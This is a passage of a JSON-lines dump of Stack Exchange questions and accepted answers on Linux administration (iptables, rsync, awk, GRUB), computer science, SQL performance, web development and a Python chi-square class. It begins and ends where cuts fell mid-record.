Wikipedia is correct in saying they are more like binary trees, but what you might call proper S-expressions are only slightly different from rose trees.)  At any rate, you can use them as a generic representation for an abstract syntax tree.  The benefit of doing this is that you can easily write generic operations, e.g. find all variables or swap parameters or rename this symbol.  It's also extensible in that adding a new type of node to your abstract syntax often doesn't require really changing anything.  The downsides are there aren't really any constraints, so it doesn't a priori prevent you from writing nonsense.  This can be mitigated for users by standard abstract data type techniques, but the implementer of transforms and such must deal with the unstructured representation even though they know that the input is structured via a data type invariant.  Of course, when that certainty is misplaced (possibly because things have changed), the errors tend to be unpredictable and hard to debug.In practice, while the Data.Tree module in the standard libraries provides a rose tree, almost no one uses it in the Haskell community.  Defining custom data types that explicitly capture the constraints is so easy that there is little reason to use a generic library type.  Further, there has been an enormous amount of research and practice around performing generic operations over custom types which eliminates many of the benefits of using a generic representation.  Finally, Haskellers tend to be very much in favor of explicit, enforced constraints and are willing to pay to get it.To answer your last question, oftentimes searching an AST is unimportant and/or the ASTs are generally assumed to be small enough that just walking the whole thing is acceptable.  Admittedly, it's not uncommon to collect definitions in a separate data structure with references into the AST which could be viewed as a sort of index.  Similarly, some optimization passes will (usually locally and temporarily) build up indexes to simplify and speed up their operation.  The structure of the AST corresponds to the input and so it can't be rebalanced or anything like that.  As such, it's uncommon for the AST itself to contain indexing information or information to help searching."  } 
{  "id": "_unix.196646"  , "question": "How do I get bytes usage using iptables for a particular IP, including YouTube streaming videos?Currently, I am using the following IP tables rules to get data usage by IP address:sudo iptables -I FORWARD 1 -s 192.168.10.10 -j ACCEPTsudo iptables -I FORWARD 1 -d 192.168.10.10 -j ACCEPTBut it's not recognizing data usage by YouTube videos."  , "title": "Linux - iptables - get YouTube streaming bytes usage"  , "tags": "linux;networking;iptables;streaming"  } 
{  "id": "_unix.177580"  , "question": "Changing from Exchange to IredMail...Is there a way to import MS Exchange 2003 Mail into Iredmail running on Ubuntu 14.04??"  , "title": "Changing from Exchange to IredMail...Mail Import?"  , "tags": "email"  } 
{  "id": "_cs.57278"  , "question": "I have nodes a, b , c,d,N, and e in an adjacency matrix. If I follow the order as a,b,c,d,N,and,e , I get 100010(the question does not matter because I'm asking about the order) for b.But if I follow the order a,b,c,N,d,and e, I get 100100 which was done by my TA in the class. Does the order really matter? If so then is there a way to find order from the adjacency graphs? "  , "title": "Does the order matter in the adjacency matrix?"  , "tags": "discrete mathematics;adjacency matrix"  } 
{  "id": "_cs.50127"  , "question": "I show from Wikipedia that the optimal number of hash functions is:$k =\\frac{m}{n}\\ln{2}$.However it's not obvious for me why, even after reading the Wikipedia article (such as the one on false positives). Anyone interested in explaining with simple words? :)"  , "title": "Why Bloom filter needs $\\frac{m}{n}\\ln{2}$ hash functions?"  , "tags": "bloom filters;hashing"  , "accepted_answer": "This is explained in Wikipedia. Given $n,m$, the false positive probability is$$\\left(1 - \\left(1 - \\frac{1}{m}\\right)^{kn}\\right)^k.$$This is the quantity we want to minimize. While the exact expression is hard to minimize exactly, we can use the approximation$$\\left(1 - \\left(1 - \\frac{1}{m}\\right)^{kn}\\right)^k \\approx (1-e^{-kn/m})^k,$$which is good if $m$ is large. We can optimize the latter expression using calculus, and the result is some expression which is very close to $(m/n) \\ln 2$. This is a calculation that I leave to you."  } 
{  "id": "_unix.346973"  , "question": "I already go this installed:1 core/archlinux-keyring 20170104-1 [installed]10 blackarch/blackarch-keyring 20140118-3 [installed]But i got an error whenupgrading libc++abi from aur:==> Verifying source file signatures with gpg...    llvm-3.9.1.src.tar.xz ... FAILED (unknown public key 8F0871F202119294)    libcxx-3.9.1.src.tar.xz ... FAILED (unknown public key 8F0871F202119294)    libcxxabi-3.9.1.src.tar.xz ... FAILED (unknown public key 8F0871F202119294)==> ERROR: One or more PGP signatures could not be verified!==> ERROR: Makepkg was unable to build libc++.==> Restart building libc++abi ? [y/N]How to resolve this? (is there a way to know which keyring I should install to solve this issue?)"  , "title": "unknown public key 8F0871F202119294 on ArchLinux"  , "tags": "arch linux"  , "accepted_answer": "Keys from AUR are not in the keyrings provided by the distributions' repositories.You will need to find and add the AUR package/upstream keys manually, if you trust them.Start by checking the PKGBUILD file of the package, then the comments in the AUR to see where/if to get and add the keys."  } 
{  "id": "_vi.8984"  , "question": "I just started using ycm with clang-completer, which apparently can also do syntax checking.It instantly reminded me why I avoided syntax checking in gVim: As soon as an error is found, the signs appear on the left in an extra column. By doing so they shift the window to the right to make place for the characters of the sign.As soon as I correct the error and it was just a single error in the file, the signs disappear and with it the sign column.This can become quite flashy, see the gifHow can I make it steady, so that the sign column stays, and just he signs disappear?I found the :sing unplace but don't know how to NOT execute it. Or maybe expand beforehand and don't expand anymore when signs are added?"  , "title": "Make column for signs permanent in gVim"  , "tags": "gvim;plugin you complete me;signs"  , "accepted_answer": "You can do what some plugins do and create a dummy sign:sign define Dummyautocmd VimEnter,SessionLoadPost,BufRead * execute 'sign place 97349278 line=9999 name=Dummy buffer='.bufnr('%')All this does is creates an empty sign on line 9999, which should be far enough from valid lines in a file you actually want to see signs in.  It has to be set on a far off line since only one sign can occupy a line at a time.  97349278 is an ID for the sign, which I got by mashing the keyboard.  All that matters is that it's unique.I don't use YCM, but it might have an option to use a dummy sign.  It may also remove your dummy sign, in which case, you'll have to look in its source to see how it can be prevented."  } 
{  "id": "_unix.127653"  , "question": "I run Gentoo Linux on my laptop. I have an issue, though, where if I'm building some very large piece of software (as I do fairly frequently, since the purpose of this laptop is development), the CPU tends to heat up more than I'd like.I used to use cpufreqd to manage this, since it has an lm_sensors plugin and can reduce the CPU frequency once it reaches a particular temperature threshold.However, this is no longer going to be a good option, since (apparently) cpufreqd is no longer actively maintained, and as such is going to be removed from Gentoo's package tree.Because of this, my question is: is there some other way I can solve this problem?I am aware of other similar CPU frequency management daemons, as well as the drivers that are built into the Linux kernel, but as far as I know they do not manage CPU frequency as a function of CPU temperature."  , "title": "Slow down CPU when it heats up"  , "tags": "linux;gentoo;cpu;cpu frequency;temperature"  , "accepted_answer": "There are still a couple of options left, please refer to Arch wikipage.The one you are looking for, specifically, is thermald."  } 
{  "id": "_unix.147671"  , "question": "I sync my .vimrc file between two machines, one running Debian testing and the other Ubuntu. On Debian everything works fine.On Ubuntu, the fold column is gray instead of black, even though black is specified:213: hi FoldColumn ctermbg=Black ctermfg=BlackIf I comment out line 213, the fold column turns black, but then foldmarkers default to white (the whole point is to hide them black on black). If i just do:213: hi FoldColumn ctermfg=BlackThe FoldColumn is gray again. I do not find plugin conflicts with grep -r FoldColumn .vim/. Any ideas?"  , "title": "Vim FoldColumn color different on Debian / Ubuntu"  , "tags": "vim;vimrc"  } 
{  "id": "_unix.140167"  , "question": "INPUT: a@notebook:~$ cat in.csv'XYZ843141'^'ASDFSAFXYVFSHGDSDg sdGDS  dsGDSgfa assfd faSDFAS saDFSAFD adFSA343fa sdfSADF'^'BAAAR'^'YYY'^'..... and so on, further columns'YYZ814384'^'ASfdEtRiuognfnseaFREQTzKb   aSFfdsaADSFSA  adsFdsa34 34 ASFfsas  saftrzj etrzrasdfasffasf safs'^'foooobaaar'^'ZZZ'^'..... and so on, further columnsOUTPUT: a@notebook:~$ cat in.csv | SOMEMAGIC'XYZ843141'^'ASDFSAFXYVFSHGDSDg s'^'BAAAR'^'YYY'^'..... and so on, further columns'YYZ814384'^'ASfdEtRiuognfnseaFRE'^'foooobaaar'^'ZZZ'^'..... and so on, further columnsMy question: If: '^'is the separator, then how can SOMEMAGIC (an awk/sed??) truncate the second column to given length? Example: 20 chars max, from this: ASDFSAFXYVFSHGDSDg sdGDS  dsGDSgfa assfd faSDFAS saDFSAFD adFSA343fa sdfSADFto this: ASDFSAFXYVFSHGDSDg sand preserve all the other things :\\"  , "title": "How to truncate only given column length?"  , "tags": "sed;awk"  , "accepted_answer": "> awk -v OFS='^' -F'\\\\\\\\^' '{if(length($2)>20) $2=substr($2,1,20); print;}' file'XYZ843141'^'ASDFSAFXYVFSHGDSDg s'^'BAAAR'^'YYY'^'..... and so on, further columns'YYZ814384'^'ASfdEtRiuognfnseaFRE'^'foooobaaar'^'ZZZ'^'..... and so on, further columns"  } 
{  "id": "_softwareengineering.16798"  , "question": "In my web application, I give the user the option to import all of his/her contacts from their email account, and then send out invites to all of these accounts or map the user to the existing accounts based on emails. Now the question, is once all of these contacts are imported, would it be right to save these contacts back for repeated reminders, etc.? I am quite confused here because that is the way all of the sites operate, but would that not be violation of data privacy? Is there an algorithm for this?"  , "title": "Handling contacts imported from users email account"  , "tags": "web development;algorithms"  , "accepted_answer": "I think it would only be valid to store those contacts for repeated reminders people if they explicitly opt in to do so.  Also very importantly, that reminder should not be sent unless the original user clicks on the magic button (s/he annoying their friends that's better than you annoying them).Contacts for a user change all of the time anyhow, so inviting them to go through the process from scratch is probably better idea anyhow."  } 
{  "id": "_webmaster.41141"  , "question": "My site is a single page web-app. I am following the suggestions based on making AJAX applications crawl-able.My URL looks like this: http://domain.com/#!pages/contactUsMy understanding is:http://domain.com/#!chair/12 goes to http://domain.com/?_escaped_fragment=chair/12 As I am not using any server-side scripting on this project, I have created HTML pages with the application states and put them in a folder like so: http://domain.com/htmlFiles/1.htmlIn Apache I have forwarded requests that include _escaped_fragment_= to the right html page:RewriteEngine onRewriteCond %{QUERY_STRING} ^_escaped_fragment_=chair\\/([\\w]*)RewriteRule ^(.*)$ htmlFiles/%1.html? [R=302,L]The forwarding works correctly and the appropriate page shows up if the _escaped_fragment URL is used.The sitemap I submitted to Google looks like this:<url><loc>http://domain.com/#!pages/contactUs</loc><lastmod>2012-12-30</lastmod><changefreq>weekly</changefreq><priority>0.8</priority></url>The problem now is this:my whole htmlFiles folder (http://domain.com/htmlFiles/1.html) with the HTML files is indexed in Google. These pages are there in the first place just to show Google what content my actual pages contain.My entire website works from http://domain.com/These pages should not be coming up in the search results. As they had said they will only index pretty URLs, but still, I am reluctant to have them remove these pages as I don't know if it's going to hamper something else.Could it be that 302 is not the right redirect and 301 should be used instead?Also is there something wrong with this redirect approach thing in the first place?"  , "title": "Google indexed my escaped_fragment pages"  , "tags": "seo;301 redirect;302 redirect;rich snippets"  } 
{  "id": "_cs.47103"  , "question": "Karp reduction (polynomial-time many one) is used in complexity theory to define NP-completeness. However, Cook reductions (polynomial-time Turing) is more powerful and intuitive from information theoretic perspective since it could offer an insight into the information content of hard sets in NP.Intuitively, if we say problem $A$ Cook reduces to problem $B$ then the information content of set $A$ should be proportional to the number of calls made to $B's$ oracle. For instance, we have a truth-table (Cook) reduction from Graph Automorphism problem to Graph Isomorphism problem but no such reduction in the opposite direction is known. I am interested in techniques for lower bounding the number of calls to GA's oracle (in possible Turing reduction from GI to GA).Why is it hard to find lower bounds by lower bounding the required number of calls to $B's$ oracle? Is there an intuition that supports $P^{GI} \\ne P^{GA}$?"  , "title": "Complexity lower bounds via Cook reductions"  , "tags": "complexity theory;np;graph isomorphism"  } 
{  "id": "_unix.333239"  , "question": "In my 2 Linux servers I have the below entries in /etc/grub.conf.Server 1 :  password --encrypted $1$something$somevalue.Server 2:  password --md5 $1$something$somevalue.My question is are they the same ? Is there any difference between the usage of --encrypted and --md5?"  , "title": "Is password --encrypted and password --md5 the same for the GRUB config file?"  , "tags": "linux;configuration;password;grub"  } 
{  "id": "_cogsci.1770"  , "question": "I'm wondering if the human brain predicts how certain weeks of the year should feel? For example, a child who is going to school may have a more positive affect in anticipation of summer holidays, and may feel more negatively towards the end of the summer, as he/she knows that freedom and fun are about to end. Another example may be siblings' or parents' birthdays, where the anticipation of the birthday increases positive affect.I'm wondering if year after year of such patterns (in childhood, the teenage years and maybe young adolescence) can create an association in the brain between positive/negative affect and the specific time of the year, or specific photoperiod duration (day length). What I'm trying to understand is, if a pattern of such ups and downs that may have been established in the childhood persists throughout adulthood?Have there been any studies that looked at the previous life history and incidence of mania/depression episodes in bipolar disorder, or the onset of depression in Seasonal Affective Disorder(SAD), and correlated them with holidays, birthdays, etc? I've read that SAD may manifest a depression in any season, not just winter, which got me thinking of the possible causes. "  , "title": "Is there any predictive component to positive/negative affect in Seasonal Affective Disorder and Bipolar Disorder?"  , "tags": "emotion;abnormal psychology;bipolar disorder"  } 
{  "id": "_codereview.86505"  , "question": "The following query returns the latest Odds for each Offer based on the timestamp on the Odds. However, the query takes an average of 1497ms - and I'm sincerely asking for help to optimize it.SELECT DISTINCT ON (odds_odds.offer_id)    odds_odds.id, odds_odds.o1, odds_odds.o2, odds_odds.o3, odds_offer.odds_type_id, odds_offer.match_id, odds_offer.bookmaker_id FROM odds_oddsINNER JOIN odds_offer ON ( odds_odds.offer_id = odds_offer.id )INNER JOIN odds_match ON ( odds_offer.match_id = odds_match.id ) WHERE (odds_match.start_time >= ? AND odds_offer.match_id IN (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) AND (odds_offer.flags = ? OR (odds_offer.flags = ?AND odds_offer.last_verified >= ?)) AND NOT (((odds_odds.o1 = ? AND odds_odds.o1 IS NOT NULL) OR (odds_odds.o2 = ? AND odds_odds.o2 IS NOT NULL))))ORDER BY odds_odds.offer_id ASC, odds_odds.time DESCThese are the stats from Heroku's log:1497ms Avg. time0/min Throughput29ms I/O timeHere is the output from EXPLAIN (ANALYZE, VERBOSE, BUFFERS):Unique  (cost=342394.61..342394.61 rows=3 width=46) (actual time=46453.678..46703.724 rows=31430 loops=1)   Output: odds_odds.id, odds_odds.o1, odds_odds.o2, odds_odds.o3, odds_offer.odds_type_id, odds_offer.match_id, odds_offer.bookmaker_id, odds_odds.offer_id, odds_odds.time   Buffers: shared hit=482834 read=24654 dirtied=9, temp read=1902 written=1902   I/O Timings: read=93.940   ->  Sort  (cost=342394.61..342394.61 rows=3 width=46) (actual time=46453.674..46580.738 rows=250485 loops=1)         Output: odds_odds.id, odds_odds.o1, odds_odds.o2, odds_odds.o3, odds_offer.odds_type_id, odds_offer.match_id, odds_offer.bookmaker_id, odds_odds.offer_id, odds_odds.time         Sort Key: odds_odds.offer_id, odds_odds.time         Sort Method: external merge  Disk: 15208kB         Buffers: shared hit=482834 read=24654 dirtied=9, temp read=1902 written=1902         I/O Timings: read=93.940         ->  Nested Loop  (cost=0.11..342394.60 rows=3 width=46) (actual time=8.455..45710.497 rows=250485 loops=1)               Output: odds_odds.id, odds_odds.o1, odds_odds.o2, odds_odds.o3, odds_offer.odds_type_id, odds_offer.match_id, odds_offer.bookmaker_id, odds_odds.offer_id, odds_odds.time               Buffers: shared hit=482827 read=24654 dirtied=9               I/O Timings: read=93.940               ->  Nested Loop  (cost=0.00..342383.74 rows=1 width=16) (actual time=8.409..44383.739 rows=33436 loops=1)                     Output: odds_offer.odds_type_id, odds_offer.match_id, odds_offer.bookmaker_id, odds_offer.id                     Join Filter: (odds_offer.match_id = odds_match.id)                     Rows Removed by Join Filter: 66691138                     Buffers: shared hit=38450 read=24654 dirtied=9                     I/O Timings: read=93.940                     ->  Seq Scan on public.odds_offer  (cost=0.00..341815.13 rows=3222 width=16) (actual time=0.135..2791.383 rows=33922 loops=1)                           Output: odds_offer.odds_type_id, odds_offer.match_id, odds_offer.bookmaker_id, odds_offer.id                           Filter: ((odds_offer.flags OR ((NOT odds_offer.flags) AND (odds_offer.last_verified >= '2015-04-10 13:43:30.556949+00'::timestamp with time zone))) AND (odds_offer.match_id = ANY ('{2725665,2725667,2725670,2725671,2725674,2725668,2723416,2723423,2723421,2723422,3006845,3006846,3006848,2726643,2726644,2730552,2731247,2731250,2731248,2731249,2733487,2733490,2733740,2733741,2733742,2733743,2734281,2734286,2734288,2736599,2736600,2735768,2735770,2735769,2735773,2735767,2735772,2737269,2738308,2738309,3018437,3018441,3094187,3091835,2740985,2740982,2741303,2741304,2741309,2768481,2768487,2768483,2768482,2768488,2768485,2768484,2742802,3044541,2746058,2746057,2746063,2749068,2753763,2750377,2748517,3065622,2762436,2762437,2762439,2764009,2764320,3016595,2935111,2772316,2772318,2781140,2781144,2780837,2788433,3050601,3094643,3094641,2801042,2801044,2801047,2801048,2801049,2795387,2795390,2795388,2795389,2795395,2795391,2795392,2795394,2821571,2821729,2821730,2821731,2821732,2821733,2821735,2821736,2821738,2821739,2821740,2880288,2829676,2829678,2829679,2829680,2829681,2829682,2829683,2829685,3053895,2839492,2839497,2839501,2850609,2877859,2927855,2927848,2927852,2927854,2927850,3072825,2953872,2953874,3089862,3117521,3007435,3007428,3007427,3007430,3007436,3007444,3007445,3007442,3007446,3007447,3007448,3007429,3007449,3007431,2988273,3047885,3047887,3014213,3018787,3018790,3102572,3119336,3040014,3040020,3043864,3043861,3043862,3043865,3045244,3045245,3045246,3045247,3045248,3045249,3045250,3045251,3045252,3054436,3050931,3063078,3063079,3063080,3063081,3063082,3063083,3057971,3064730,3064731,3064732,3064733,3064734,3064735,3111903,3120490,3120446,3121373}'::integer[])))                           Rows Removed by Filter: 5523694                           Buffers: shared hit=38116 read=24654 dirtied=9                           I/O Timings: read=93.940                     ->  Materialize  (cost=0.00..517.06 rows=4 width=4) (actual time=0.001..0.511 rows=1967 loops=33922)                           Output: odds_match.id                           Buffers: shared hit=334                           ->  Seq Scan on public.odds_match  (cost=0.00..517.05 rows=4 width=4) (actual time=7.797..8.636 rows=1967 loops=1)                                 Output: odds_match.id                                 Filter: (odds_match.start_time >= '2015-04-10 13:53:30.556949+00'::timestamp with time zone)                                 Rows Removed by Filter: 50333                                 Buffers: shared hit=334               ->  Index Scan using odds_odds_offer_id on public.odds_odds  (cost=0.11..10.68 rows=60 width=34) (actual time=0.014..0.033 rows=7 loops=33436)                     Output: odds_odds.id, odds_odds.o1, odds_odds.o2, odds_odds.o3, odds_odds.offer_id, odds_odds.time                     Index Cond: (odds_odds.offer_id = odds_offer.id)                     Filter: (((odds_odds.o1 <> 0::numeric) OR (odds_odds.o1 IS NULL)) AND ((odds_odds.o2 <> 0::numeric) OR (odds_odds.o2 IS NULL)))                     Rows Removed by Filter: 2                     Buffers: shared hit=444377 Total runtime: 46726.458 ms"  , "title": "Bookmaker odds and offers query"  , "tags": "performance;sql;postgresql"  } 
{  "id": "_webmaster.16384"  , "question": "What are the laws on this?  If I have a simple registration form, can I have underneath it:[x] Subscribe to the blog[x] Email me when a new release is issuedAuto checked?  Or do they need to be Opt In by law (I remember reading this somewhere).  If it makes a difference, we are registered in the UK, and our web server is also UK located.EditI'm not sure if people quite understand this question, what I mean is, can I have these check boxes checked by default?  I see a lot of sites doing this.  It will be presented in a 100% clear and non deceptive way."  , "title": "Auto subscribe checkbox on registration"  , "tags": "forms;registration;automation;subscription"  , "accepted_answer": "From http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications/opt_in_out.aspxIf you provide a clear and prominent message along the following  lines, the fact that a suitably  prominent opt-out box has not been  ticked may help establish that consent  has been given. For example:'By submitting this registration form, you will be indicating your  consent to receiving email marketing  messages from us unless you have  indicated an objection to receiving  such messages by ticking the above  box.'I would say removing a tick is the same as ticking an empty box, so you're probably OK."  } 
{  "id": "_unix.153203"  , "question": "I'm using the 14 px Gohu font, and it looks like these characters are offset one pixel to the left from the cursor which causes the cursor to ignore that part of the text when typing.I am using bspwm + urxvt + compton.Things I have tried:Disable comptonSet cursor to underscoreThis problem did not occur with the default font.What is causing this and how is it fixed?"  , "title": "Urxvt cursor cutting off wide characters like 'w' and 'm'"  , "tags": "debian;graphics;urxvt"  } 
{  "id": "_softwareengineering.30254"  , "question": "These days, so many languages are garbage collected. It is even available for C++ by third parties. But C++ has RAII and smart pointers. So what's the point of using garbage collection? Is it doing something extra?And in other languages like C#, if all the references are treated as smart pointers(keeping RAII aside), by specification and by implementation, will there still be any need of garbage collectors? If no, then why is this not so?"  , "title": "Why Garbage Collection if smart pointers are there"  , "tags": "garbage collection;smart pointer"  , "accepted_answer": "So, what's the point of using garbage collection?I'm assuming you mean reference counted smart pointers and I'll note that they are a (rudimentary) form of garbage collection so I'll answer the question what are the advantages of other forms of garbage collection over reference counted smart pointers instead.Accuracy. Reference counting alone leaks cycles so reference counted smart pointers will leak memory in general unless other techniques are added to catch cycles. Once those techniques are added, reference counting's benefit of simplicity has vanished. Also, note that scope-based reference counting and tracing GCs collect values at different times, sometimes reference counting collects earlier and sometimes tracing GCs collect earlier.Throughput. Smart pointers are one of the least efficient forms of garbage collection, particularly in the context of multi-threaded applications when reference counts are bumped atomically. There are advanced reference counting techniques designed to alleviate this but tracing GCs are still the algorithm of choice in production environments.Latency. Typical smart pointer implementations allow destructors to avalanche, resulting in unbounded pause times. Other forms of garbage collection are much more incremental and can even be real time, e.g. Baker's treadmill."  } 
{  "id": "_softwareengineering.273323"  , "question": "How did these earlier programmers know what combinations of binary produced certain results? Is there a way I can create an assembler from binary today?"  , "title": "How were assemblers created straight from binary?"  , "tags": "binary;assembly"  } 
{  "id": "_computergraphics.354"  , "question": "I know GPU prefetches textures and that's why dependent texture reads are slower, but how does it work and at what point that happens?EDIT: Split the content of this question into others as suggested by trichoplaxHere's a link to other questions:How does Texture Cache work considering multiple shader unitsHow does Texture Cache work in Tile Based Rendering GPUIs using many texture maps bad for caching?"  , "title": "How Texture Prefetch works?"  , "tags": "opengl;texture;gpu;optimisation"  } 
{  "id": "_webmaster.74131"  , "question": "I am trying to find and use offpage SEO techniques for my website but most of search telling me that google has updated SEO algorithm and some offpage techniques now google is considering as SPAM.So anyone can list out valid offpage SEO techniques please?"  , "title": "What are best valid offpage SEO techniques? as per google's latest algorithm"  , "tags": "seo;google panda algorithm;google penguin algorithm"  , "accepted_answer": "I think a lot of people get very fixated on SEO techniques and what the latest algo is. Basing your decisions on the very frequent changes that Google makes is not the best way to run a site or a business. Unless, you are using black hat techniques and are trying to stay ahead of Google catching you.Focus on things you can controlYou will never guess what the next algo update will bring or how it might or might not effect your site. Additional, those changes might become reversed or obsolete. So focus on things that you can fully control. Content Quality, Content Strategy/Inbound Marketing, User Experience, Site Performance and etc. All of the aforementioned items will lead to quality backlinks, social sharing and return visits.Ask yourself:Why would someone visit my site? Does it provide value? Is it something that people are interested in reading about?You can control every aspect of this and you will be rewarded if you pay close attention to what your target audience wants and not what the latest link bating fab everyone is trying this month."  } 
{  "id": "_unix.102211"  , "question": "I want to know how use rsync for sync to folders recursive butI only need to update the new files or the updated files (only the content not the owner, group or timestamp) and I want to delete the files that not exist in the source."  , "title": "rsync ignore owner, group, time, and perms"  , "tags": "rsync"  , "accepted_answer": "I think you can use the -no- options to rsync to NOT copy the ownership or permissions of the files you're sync'ing.Excerpt From rsync Man Page--no-OPTION       You may turn off one or more implied options by prefixing the option        name with no-.  Not all options may be prefixed  with  a  no-:         only options that are implied by other options (e.g. --no-D,        --no-perms) or have different defaults in various circumstances (e.g.        --no-whole-file, --no-blocking-io, --no-dirs).  You may specify        either the short or the long option name after the no- prefix (e.g.        --no-R is the same as --no-relative).       For example: if you want to use -a (--archive) but dont want -o        (--owner), instead of converting -a into -rlptgD, you could specify        -a --no-o (or -a --no-owner).       The order of the options is important:  if you specify --no-r -a, the        -r option would end up being turned on,  the opposite  of  -a         --no-r.   Note  also  that the side-effects of the --files-from        option are NOT positional, as it affects the default state of several        options and slightly changes the meaning of -a (see the  --files-from       option for more details).Ownership & PermissionsLooking through the man page I believe you'd want to use something like this:$ rsync -avz --no-perms --no-owner --no-group ...To delete files that don't exist you can use the --delete switch:$ rsync -avz --no-perms --no-owner --no-group --delete ....TimestampsAs for the timestamp I don't see a way to keep this without altering how you'd do the comparison of SOURCE vs. DEST files. You might want to tell rsync to ignore timestamps using this switch:-I, --ignore-times       Normally  rsync will skip any files that are already the same size        and have the same modification timestamp.  This option turns off this        quick check behavior, causing all files to be updated.UpdateFor timestamps, --no-times might do what you're looking for."  } 
{  "id": "_codereview.164601"  , "question": "I'm working on a Machine Learning project and I'm in  Data Exploration step, and my dataset has both categorical and continuous attributes.I decided to compute a chi square test between 2 categorical variables to find relationships between them!I've read a lot and check if i can found  a simple solution by library but nothing !So I decided to write a whole class by myself and using some scipy function .Please reviews and tell me how I can improve it for performance on large dataset.here is the code :import pandas as pdimport numpy as npimport matplotlib.pyplot as pltimport seaborn as sns #for beatiful visualisations%matplotlib inline import scipy.stats as scs #for statisticsimport operatorfrom scipy.stats import chi2_contingencyclass ChiSquareCalc(object):    this class is designed to calculated and interpret the relationship between 2 categorials variables by computing the chi square test between them    you can find more on chi square test on this video https://www.youtube.com/watch?v=misMgRRV3jQ    it will use pandas , numpy ,searborn matplotlib , scipy        def __init__(self, X,Y,dataset,**kwargs):        we will initailise the with 2 colums of a datafrme the input must be a data and columns names        if isinstance(dataset,pd.DataFrame) and isinstance(X,str)and isinstance(Y,str) and X in dataset.columns and Y in dataset.columns :            if operator.and_(operator.__eq__(dataset[X].dtypes, 'object'),operator.__eq__(dataset[Y].dtypes, 'object')):                self.dataset=dataset                self.X=dataset[X]                self.Y=dataset[Y]                self.contingency=pd.DataFrame()                self.c=0                self.p=0                self.dof=0                self.q=0.95 #lower tail probability            else:                raise TypeError('Class only deal wih categorial columns')        else:            raise TypeError('Columns names must be string and data must be a DataFrame')    def contengencyTable(self):        this method will return a contengency table of the 2 variables        self.contingency = pd.crosstab(self.X,self.Y)        return self.contingency    def chisquare(self):        this one will calculate the chi square value and return        q: chi square results        df: degree of freedom        p: probability        expexcted: excepected frequency table                if (not self.contingency.empty):            self.c, self.p, self.dof, expected = chi2_contingency(self.contingency)            return pd.DataFrame(expected,columns=self.contingency.columns,index=self.contingency.index)        else:            raise ValueError('contingency table must be initialised')    def conclude(self,on):                we can decide to conclude on chi square value(chi) or on p (p)value        Here is how we build the conclusion according to p value         Probability of 0: It indicates that both categorical variable are dependent         Probability of 1: It shows that both variables are independent.         Probability less than 0.05: It indicates that the relationship between the variables is significant at 95% confidence        And according to chi square value and df we use a ccritical value calculate with :        q:lower tail probability        df:degree of freedom         the conclusion is approving or rejecting a null hypothesis                NulHyp='is no relationship between '+self.X+'and '+self.Y        criticalValue=scs.chi2.ppf(q = self.q, df =self.dof)        if on not in ['chi','p']:            raise ValueError('choose chi or p')        else:            if on=='chi':                if criticalValue > self.c:                    return 'null hypothesis is accepted : '+NulHyp                else:                    return 'null hypothesis is rejected : '+NulHyp            else:                if self.p==0:                    return ' It indicates that both categorical variable are dependent'                elif self.p==1:                    return 'It shows that both variables are independent'                elif self.p <(1-self.q):                    return 'It indicates that the relationship between the variables is significant at confidence of %s',self.q                else:                    return 'there is no relationship '    def DrawPlot(self):         and as for bonus you can draw plot to visualise the relationship         sns.countplot(hue=self.X,y=self.Y,data=self.dataset)"  , "title": "Calculate relationship between 2 categorical variables in a pandas Dataset with chi square test"  , "tags": "python;statistics;pandas;machine learning;scipy"  } 
{  "id": "_codereview.74205"  , "question": "Some fellow code reviewers (hi @Janos!) have been inquiring about a SEDE query to allow to check progress of the Red Shirt hat progression. Try it here!BackgroundRed Shirtcast 5 downvotes on posts that are later deleted or closedLimitationsThere are certain Stack Exchange limitations which make querying this information a bit tricky. Namely:The data is only refreshed once a week, on Sundays. This makes it impossible to have real time results.User voting activity is anonymous, in that a user can only see their own voting activity in their own profile. This disallows joining voting and user data on SEDE.AssumptionsI have made certain assumptions, based on the trends I generally see on closed questions. They are:A user who votes to close/delete a bad question will usually also downvote the question.A user who downvotes a question will usually do so before voting to close/delete.UsageTo get usefulness out of this (and as indicated in the SQL comments at the top of the query):The way that this report can be used is by comparing the results set   side-by-side with your votes under your activity reports.  Filter by down-votes and look to see if questions you down-voted are  in the result set below.For example:Query/* Winter Bash 2014Red Shirt hat estimationCast 5 downvotes on posts that are later deleted or closedThe way that this report can be used is by comparing the results set side-by-side with your votes under your activity reports.Filter by down-votes and look to see if questions you down-voted arein the result set below.*/-- NumberWeeks: Number of weeks to go back-- DATETIME VARIABLESDECLARE @today DATETIME;SET @today = CURRENT_TIMESTAMP;DECLARE @weeks_ago INT;SET @weeks_ago = ##NumberWeeks:int?4##;-- Number of weeks must not go into the future, hence the following:SET @weeks_ago = (CASE WHEN @weeks_ago >0 THEN -@weeks_ago ELSE @weeks_ago END);DECLARE @target_week DATETIME;SET @target_week = DATEADD(WEEK, @weeks_ago, CURRENT_TIMESTAMP);-- POST-RELATED VARIABLESDECLARE @downvote TINYINT;SET @downvote = (SELECT Id FROM VoteTypes WHERE Name LIKE 'Down%'); --3DECLARE @question_post TINYINT;SET @question_post = (SELECT Id FROM PostTypes WHERE Name = 'Question'); --1DECLARE @closed_post TINYINT;SET @closed_post = (SELECT Id FROM PostHistoryTypes WHERE Name = 'Post Closed'); --10DECLARE @deleted_post TINYINT;SET @closed_post = (SELECT Id FROM PostHistoryTypes WHERE Name = 'Post Deleted'); --12-- QUERY BEGINSWITH cte_downvoted_posts AS(  SELECT Votes.PostId AS dvote  FROM Votes  INNER JOIN Posts ON Votes.PostId = Posts.Id  WHERE VoteTypeId = @downvote)SELECT     Posts.Id AS [Post Link]               -- magic column  , Posts.OwnerUserId AS [User Link]      -- magic column  , Posts.CreationDate AS [Creation Date]  , Posts.ClosedDate AS [Closed Date]FROM PostsINNER JOIN cte_downvoted_posts    ON Posts.Id = cte_downvoted_posts.dvoteINNER JOIN PostHistory    ON Posts.Id = PostHistory.PostIdWHERE Posts.CreationDate <= @today  AND Posts.CreationDate > @target_week  AND Posts.PostTypeId = @question_post  AND Posts.ClosedDate IS NOT NULLGROUP BY    Posts.Id  , Posts.OwnerUserId  , Posts.CreationDate  , Posts.ClosedDateORDER BY    Posts.CreationDate DESCConcernsNitpicks are fine! Anything from naming to indentation to inconsistencies, please don't be shy to point out anything at all!I noticed a lot of nested loops in the execution plan, when it's doing joins. Is there a better way to do this to avoid them?Is there a way to make this query result set more useful, or user-friendly?Are my comments appropriate/useful? Should I have fewer, or more of them?"  , "title": "Winterbash 2014 Red Shirt Estimation"  , "tags": "sql;sql server;t sql;stackexchange"  , "accepted_answer": "You don't need to 